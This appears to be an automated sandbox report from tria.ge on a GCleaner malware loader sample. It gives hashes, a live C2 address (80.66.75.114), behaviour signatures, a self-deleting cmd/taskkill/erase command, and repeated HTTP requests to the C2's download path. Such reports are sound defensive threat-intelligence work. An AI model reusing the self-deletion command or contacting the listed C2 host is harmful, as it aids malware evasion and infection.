Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    124s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/09/2024, 11:45 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe

  • Size

    295KB

  • MD5

    8aa7782a85c4d712bb398c37406c7b1a

  • SHA1

    d8ae96b16609c4292b6f86de24a67bd1fb062fa2

  • SHA256

    82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9

  • SHA512

    417be55b827fccfe81a4edeef6f590cf668184cd54267a0a903b9660d37343d7491b02de4fe7887c0705341209605d12c4fcb96d1ed56d9549ebfd945f6da28c

  • SSDEEP

    6144:q/0GfXaB6Mn32ftAjf0zGt5I3HXeN0dkwpcpuQTdJlXndB1y:q5Xk6Mn3oCbrj5aqphdJlNBk

Score
10/10
gcleanerdiscoveryloader

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 9 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
    "C:\Users\Admin\AppData\Local\Temp\82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 732
      2⤵
      • Program crash
      PID:4248
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 780
      2⤵
      • Program crash
      PID:548
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 800
      2⤵
      • Program crash
      PID:2888
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 812
      2⤵
      • Program crash
      PID:2040
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 904
      2⤵
      • Program crash
      PID:2736
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 908
      2⤵
      • Program crash
      PID:1496
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 1064
      2⤵
      • Program crash
      PID:3624
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 1388
      2⤵
      • Program crash
      PID:4924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4816
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 1228
      2⤵
      • Program crash
      PID:1860
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4488 -ip 4488
    1⤵
      PID:2612
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4488 -ip 4488
      1⤵
        PID:2856
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4488 -ip 4488
        1⤵
          PID:2648
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4488 -ip 4488
          1⤵
            PID:532
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4488 -ip 4488
            1⤵
              PID:1536
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4488 -ip 4488
              1⤵
                PID:4904
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4488 -ip 4488
                1⤵
                  PID:3904
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4488 -ip 4488
                  1⤵
                    PID:1876
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4488 -ip 4488
                    1⤵
                      PID:1360

                    Network

                    • flag-us
                      DNS
                      209.205.72.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      209.205.72.20.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      209.205.72.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      209.205.72.20.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      209.205.72.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      209.205.72.20.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      209.205.72.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      209.205.72.20.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      209.205.72.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      209.205.72.20.in-addr.arpa
                      IN PTR
                    • flag-ru
                      GET
                      http://80.66.75.114/add?substr=one&s=two
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /add?substr=one&s=two HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: 1
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:13 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=100
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:13 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=99
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:16 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=98
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:18 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=97
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:20 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=96
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:23 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=95
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:25 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=94
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:27 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=93
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:30 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=92
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:32 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=91
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:34 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=90
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-ru
                      GET
                      http://80.66.75.114/files/download
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      Remote address:
                      80.66.75.114:80
                      Request
                      GET /files/download HTTP/1.1
                      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                      User-Agent: B
                      Host: 80.66.75.114
                      Connection: Keep-Alive
                      Cache-Control: no-cache
                      Response
                      HTTP/1.1 200 OK
                      Date: Sun, 08 Sep 2024 11:45:37 GMT
                      Server: Apache/2.4.52 (Ubuntu)
                      Content-Length: 1
                      Keep-Alive: timeout=5, max=89
                      Connection: Keep-Alive
                      Content-Type: text/html; charset=UTF-8
                    • flag-us
                      DNS
                      114.75.66.80.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      114.75.66.80.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      114.75.66.80.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      114.75.66.80.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      114.75.66.80.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      114.75.66.80.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      114.75.66.80.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      114.75.66.80.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      73.144.22.2.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      73.144.22.2.in-addr.arpa
                      IN PTR
                      Response
                      73.144.22.2.in-addr.arpa
                      IN PTR
                      a2-22-144-73deploystaticakamaitechnologiescom
                    • flag-us
                      DNS
                      73.144.22.2.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      73.144.22.2.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      73.144.22.2.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      73.144.22.2.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      73.144.22.2.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      73.144.22.2.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      68.32.126.40.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      68.32.126.40.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      26.165.165.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      26.165.165.52.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      154.239.44.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      154.239.44.20.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      104.219.191.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      104.219.191.52.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      196.249.167.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      196.249.167.52.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      13.227.111.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      13.227.111.52.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      13.227.111.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      13.227.111.52.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      13.227.111.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      13.227.111.52.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      13.86.106.20.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      13.86.106.20.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      86.23.85.13.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      86.23.85.13.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      15.164.165.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      15.164.165.52.in-addr.arpa
                      IN PTR
                      Response
                    • flag-us
                      DNS
                      15.164.165.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      15.164.165.52.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      15.164.165.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      15.164.165.52.in-addr.arpa
                      IN PTR
                    • flag-us
                      DNS
                      15.164.165.52.in-addr.arpa
                      Remote address:
                      8.8.8.8:53
                      Request
                      15.164.165.52.in-addr.arpa
                      IN PTR
                    • 80.66.75.114:80
                      http://80.66.75.114/files/download
                      http
                      82c8077fffc1dae58cc700542bd40e71a69bacff93f6d85c65eb583a6e42bda9.exe
                      9.5kB
                       3.8kB
                       37
                      27

                      HTTP Request

                      GET http://80.66.75.114/add?substr=one&s=two

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200

                      HTTP Request

                      GET http://80.66.75.114/files/download

                      HTTP Response

                      200
                    • 8.8.8.8:53
                      209.205.72.20.in-addr.arpa
                      dns
                      360 B
                       158 B
                       5
                      1

                      DNS Request

                      209.205.72.20.in-addr.arpa

                      DNS Request

                      209.205.72.20.in-addr.arpa

                      DNS Request

                      209.205.72.20.in-addr.arpa

                      DNS Request

                      209.205.72.20.in-addr.arpa

                      DNS Request

                      209.205.72.20.in-addr.arpa

                    • 8.8.8.8:53
                      114.75.66.80.in-addr.arpa
                      dns
                      284 B
                       129 B
                       4
                      1

                      DNS Request

                      114.75.66.80.in-addr.arpa

                      DNS Request

                      114.75.66.80.in-addr.arpa

                      DNS Request

                      114.75.66.80.in-addr.arpa

                      DNS Request

                      114.75.66.80.in-addr.arpa

                    • 8.8.8.8:53
                      73.144.22.2.in-addr.arpa
                      dns
                      280 B
                       133 B
                       4
                      1

                      DNS Request

                      73.144.22.2.in-addr.arpa

                      DNS Request

                      73.144.22.2.in-addr.arpa

                      DNS Request

                      73.144.22.2.in-addr.arpa

                      DNS Request

                      73.144.22.2.in-addr.arpa

                    • 8.8.8.8:53
                      68.32.126.40.in-addr.arpa
                      dns
                      71 B
                       157 B
                       1
                      1

                      DNS Request

                      68.32.126.40.in-addr.arpa

                    • 8.8.8.8:53
                      26.165.165.52.in-addr.arpa
                      dns
                      72 B
                       146 B
                       1
                      1

                      DNS Request

                      26.165.165.52.in-addr.arpa

                    • 8.8.8.8:53
                      154.239.44.20.in-addr.arpa
                      dns
                      72 B
                       158 B
                       1
                      1

                      DNS Request

                      154.239.44.20.in-addr.arpa

                    • 8.8.8.8:53
                      104.219.191.52.in-addr.arpa
                      dns
                      73 B
                       147 B
                       1
                      1

                      DNS Request

                      104.219.191.52.in-addr.arpa

                    • 8.8.8.8:53
                      196.249.167.52.in-addr.arpa
                      dns
                      73 B
                       147 B
                       1
                      1

                      DNS Request

                      196.249.167.52.in-addr.arpa

                    • 8.8.8.8:53
                      13.227.111.52.in-addr.arpa
                      dns
                      216 B
                       158 B
                       3
                      1

                      DNS Request

                      13.227.111.52.in-addr.arpa

                      DNS Request

                      13.227.111.52.in-addr.arpa

                      DNS Request

                      13.227.111.52.in-addr.arpa

                    • 8.8.8.8:53
                      13.86.106.20.in-addr.arpa
                      dns
                      71 B
                       157 B
                       1
                      1

                      DNS Request

                      13.86.106.20.in-addr.arpa

                    • 8.8.8.8:53
                      86.23.85.13.in-addr.arpa
                      dns
                      70 B
                       144 B
                       1
                      1

                      DNS Request

                      86.23.85.13.in-addr.arpa

                    • 8.8.8.8:53
                      15.164.165.52.in-addr.arpa
                      dns
                      288 B
                       146 B
                       4
                      1

                      DNS Request

                      15.164.165.52.in-addr.arpa

                      DNS Request

                      15.164.165.52.in-addr.arpa

                      DNS Request

                      15.164.165.52.in-addr.arpa

                      DNS Request

                      15.164.165.52.in-addr.arpa

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\B9AWTLKS\download[1].htm
                      Filesize

                      1B

                      MD5

                      cfcd208495d565ef66e7dff9f98764da

                      SHA1

                      b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                      SHA256

                      5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                      SHA512

                      31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                      Download Submit

                    • memory/4488-1-0x0000000002BE0000-0x0000000002CE0000-memory.dmp

                      Filesize

                      1024KB

                      Download

                    • memory/4488-2-0x00000000048B0000-0x00000000048DD000-memory.dmp

                      Filesize

                      180KB

                      Download

                    • memory/4488-3-0x0000000000400000-0x000000000042F000-memory.dmp

                      Filesize

                      188KB

                      Download

                    • memory/4488-8-0x0000000002BE0000-0x0000000002CE0000-memory.dmp

                      Filesize

                      1024KB

                      Download

                    • memory/4488-10-0x00000000048B0000-0x00000000048DD000-memory.dmp

                      Filesize

                      180KB

                      Download

                    • memory/4488-9-0x0000000000400000-0x0000000002B6A000-memory.dmp

                      Filesize

                      39.4MB

                      Download

                    • memory/4488-11-0x0000000000400000-0x000000000042F000-memory.dmp

                      Filesize

                      188KB

                      Download

                    • memory/4488-23-0x0000000000400000-0x000000000042F000-memory.dmp

                      Filesize

                      188KB

                      Download

                    • memory/4488-22-0x0000000000400000-0x0000000002B6A000-memory.dmp

                      Filesize

                      39.4MB

                      Download

                    We care about your privacy.

                    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.